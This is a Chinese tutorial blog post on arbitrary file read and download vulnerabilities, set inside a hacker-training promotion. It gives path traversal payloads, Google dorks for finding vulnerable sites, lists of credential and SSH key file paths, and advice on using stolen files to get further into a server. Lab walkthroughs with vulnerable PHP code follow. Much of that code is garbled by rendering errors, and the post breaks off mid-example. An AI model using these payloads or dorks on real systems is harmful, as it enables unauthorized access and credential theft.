最新任意文件读取 下载漏洞总结_任意文件下载漏洞,网络安全开发的基础知识

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
img

网络安全工程师企业级学习路线

img
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

echo $data; // 输出文件内容


file() 函数:



$file = $_GET[‘file’]; // 用户提供的文件路径
d a t a = f i l e ( data = file( data=file(file); // 将文件读入数组中
echo implode(‘’, $data); // 输出文件内容


2. 读取文件的路径用户可控且未校验或校验不严
3. 输出了文件内容


###### 3、漏洞类型:



index.php?f=…/…/…/…/…/…/etc/passwd

index.php?f=…/index.php

index.php?f=file:///etc/passwd


当参数 f 的参数值为php文件时,  
 若是文件被解析则是文件包含漏洞,若显示源码或提示下载则是文件查看与下载漏洞。


###### 4、文件下载漏洞利用思路:


当遇到一个任意文件下载时,我们的一般利用思路:


* 下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置
* 下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。
* 下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。


当遇到一个任意文件下载漏洞时首先要注意权限问题。因为权限决定我们能下载的文件范围。


尝试读取 `/root/.bash_history` 看自己是否具有root权限。如果没有的话。我们只能按部就班的利用`../`来回跳转读取一些`.ssh`下的配置信息文件。  
 读取mysql下的`.bash_history`文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载我们需要审计的代码文件,但是下载的时候变得很繁琐,我们只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。


**如果遇到 java+oracle 环境**


可以先下载 `/WEB-INF/classes/applicationContext.xml` 文件,这里面记载的是web服务器的相应配置,然后下载  
 `/WEB-INF/classes/xxx/xxx/ccc.class` 对文件进行反编译,然后搜索文件中的upload关键字看是否存在一些api接口,如果存在的话可以本地构造上传页面用api接口将我们的文件传输进服务器。


**如果具有root权限**


这时候很多人肯定会说:有root权限直接去读shadow文件了,但是很多时候我们遇到的服务器可能只对外开放了80,443两个端口,这时候我们即使获得了账号密码作用也不大,但是具备root权限对任意文件下载利用是绝对的。


在linux中有这样一个命令 `locate` 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库 `/var/lib/mlocate/mlocate.db`。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。


当我们不知道路径是什么的情况下,这个可以说是一个核武器了,我们利用任意文件下载漏洞将mlocate.db文件下载下来,利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息。


locate 读取方法



locate mlocate.db admin


可以将 mlocate.db 中包含admin内容全部输出来  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/98985989e0f54a2f9e108467df12cbfa.png)  
 利用这个文件可以获取到该服务器任何我们想要的内容并下载出来而不用一个一个去猜解目录,但是这个文件只有root用户才能读取。


另一方面我们也可以利用linux内核的一个文件`/proc/self/cmdline`当前进程的cmdline参数,可以获取到路径信息。


总体来说,任意文件下载漏洞的利用主要是为了信息收集,我们通过对服务器配置文件的下载,获取到大量的配置信息、源码,从而根据获取的信息来进一步挖掘服务器漏洞从而入侵。


###### 5、漏洞挖掘:


可以用Google hacking或Web漏洞扫描器


Google search利用:



inurl:“readfile.php?file=”
inurl:“read.php?filename=”
inurl:“download.php?file=”
inurl:“down.php?file=”


##### 二、常见的敏感信息路径:


Windows系统:



C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息


Linux/Unix系统:



/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数


##### 三、靶场复现


使用 web for pentester 进行测试。[镜像下载]( ) VMware安装镜像文件启动即可使用。


查看ip地址:  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/a2ffc780bdc44d279b1916f231bdaf0f.png)  
 访问IP 进入环境  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/00ce1ffe69ca472dad1971bcf28e45d7.png)  
 用 Directory traversal 模块复现(是的就是目录遍历,一般的文件下载或读取都会用到 `../`)。


###### Example 1


源码:



$UploadDir = ‘/var/www/files/’;

if (!(isset($_GET[‘file’])))
die();

$file = $_GET[‘file’];

$path = $UploadDir . $file;

if (!is_file($path))
die();

header(‘Cache-Control: must-revalidate, post-check=0, pre-check=0’);
header(‘Cache-Control: public’);
header(‘Content-Disposition: inline; filename="’ . basename( p a t h ) . ′ " ; ′ ) ; h e a d e r ( ′ C o n t e n t − T r a n s f e r − E n c o d i n g : b i n a r y ′ ) ; h e a d e r ( ′ C o n t e n t − L e n g t h : ′ . f i l e s i z e ( path) . '";'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize( path).";);header(ContentTransferEncoding:binary);header(ContentLength:.filesize(path));

h a n d l e = f o p e n ( handle = fopen( handle=fopen(path, ‘rb’);

do {
d a t a = f r e a d ( data = fread( data=fread(handle, 8192);
if (strlen( d a t a ) = = 0 ) b r e a k ; e c h o ( data) == 0) { break; } echo( data)==0)break;echo(data);
} while (true);

fclose($handle);
exit();


有 fread 函数,可以看出未作限制,直接使用`../`跳跃目录来读取 passwd 文件:



http://192.168.50.132/dirtrav/example1.php?file=…/…/…/etc/passwd


![在这里插入图片描述](https://img-blog.csdnimg.cn/d13cd4340f2c4a91a15ccbea192e5205.png)


###### Example 2


源码:



if (!(isset($_GET[‘file’])))
die();

$file = $_GET[‘file’];

if (!(strstr($file,“/var/www/files/”)))
die();

if (!is_file($file))
die();

header(‘Cache-Control: must-revalidate, post-check=0, pre-check=0’);
header(‘Cache-Control: public’);
header(‘Content-Disposition: inline; filename="’ . basename( f i l e ) . ′ " ; ′ ) ; h e a d e r ( ′ C o n t e n t − T r a n s f e r − E n c o d i n g : b i n a r y ′ ) ; h e a d e r ( ′ C o n t e n t − L e n g t h : ′ . f i l e s i z e ( file) . '";'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize( file).";);header(ContentTransferEncoding:binary);header(ContentLength:.filesize(file));

h a n d l e = f o p e n ( handle = fopen( handle=fopen(file, ‘rb’);

do {
d a t a = f r e a d ( data = fread( data=fread(handle, 8192);
if (strlen( d a t a ) = = 0 ) b r e a k ; e c h o ( data) == 0) { break; } echo( data)==0)break;echo(data);
} while (true);

fclose($handle);
exit();


从代码里可以看出,路径必须存在 /var/www/files/ ,构造如下payload:



http://192.168.50.132/dirtrav/example2.php?file=/var/www/files/…/…/…/etc/passwd


![在这里插入图片描述](https://img-blog.csdnimg.cn/31f07c8eb1ac4b54b21c1405aacfb94a.png)


###### Example 3


源码:



$UploadDir = ‘/var/www/files/’;

if (!(isset($_GET[‘file’])))
die();

$file = $_GET[‘file’];

$path = $UploadDir . $file.“.png”;
// Simulate null-byte issue that used to be in filesystem related functions in PHP
KaTeX parse error: Undefined control sequence: \x at position 24: …reg\_replace('/\̲x̲00.\*/',"",path);

if (!is_file($path))
die();

header(‘Cache-Control: must-revalidate, post-check=0, pre-check=0’);
header(‘Cache-Control: public’);
header(‘Content-Disposition: inline; filename="’ . basename($path) . ‘";’);
header(‘Content-Transfer-Encoding: binary’);

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 10
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值